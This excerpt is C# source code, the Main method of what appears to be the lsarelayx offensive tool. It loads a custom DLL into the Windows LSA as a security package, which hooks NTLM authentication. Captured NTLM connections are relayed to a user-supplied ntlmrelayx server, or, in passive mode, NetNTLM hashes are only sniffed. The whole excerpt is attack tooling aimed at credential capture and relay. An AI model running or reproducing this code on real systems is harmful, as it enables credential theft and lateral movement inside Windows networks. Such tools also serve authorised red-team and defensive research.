Method Main

client/Program.cs:518–574

(string[] args)

        static void Main(string[] args) {

            bool showHelp = false;
            long spmpLookupPackageOffset = 0;

            OptionSet option_set = new OptionSet()
                .Add("host=", "Address of ntlmrelayx RAW server", v => host = v)
                .Add<ushort>("port=", "Port for ntlmrelayx RAW server (default 6666)", v => port = v)
                .Add("lookuppackage-hint=", "Hex value offset to SpmpLookupPackage (useful if cannot be found automatically", v => spmpLookupPackageOffset = int.Parse(v, System.Globalization.NumberStyles.HexNumber))
                .Add("passive", "Operate in a passive mode and sniff NetNTLM hashes only", v => passive = true)
                .Add("h|help", "Display this help", v => showHelp = v != null);

            try {

                option_set.Parse(args);

                if (showHelp) {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }              

            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            if(host == null) {
                Console.WriteLine("[=] No host supplied, switching to passive mode");
                passive = true;
            } else {
                Console.WriteLine($"[+] Using {host}:{port} for relaying NTLM connections");
            }

            var serverThread = new Thread(ServerThread);
            serverThread.Start();
            serverThreadReady.WaitOne();

            initResponse = GetFunctionOffsets(spmpLookupPackageOffset);

            if(initResponse == null) {
                return;
            }
 
            SECURITY_PACKAGE_OPTIONS spo = new SECURITY_PACKAGE_OPTIONS();
            string lsaDllPath = new FileInfo("liblsarelayx.dll").FullName;

            Console.WriteLine($"[=] Attempting to load LSA plugin {lsaDllPath}");

            uint result = AddSecurityPackage(lsaDllPath, spo);

            if(result != 0) {
                Console.WriteLine($"[!] Failed to add LSA security package with error 0x{result:x}");
            }

            Console.ReadLine();       
        }
    }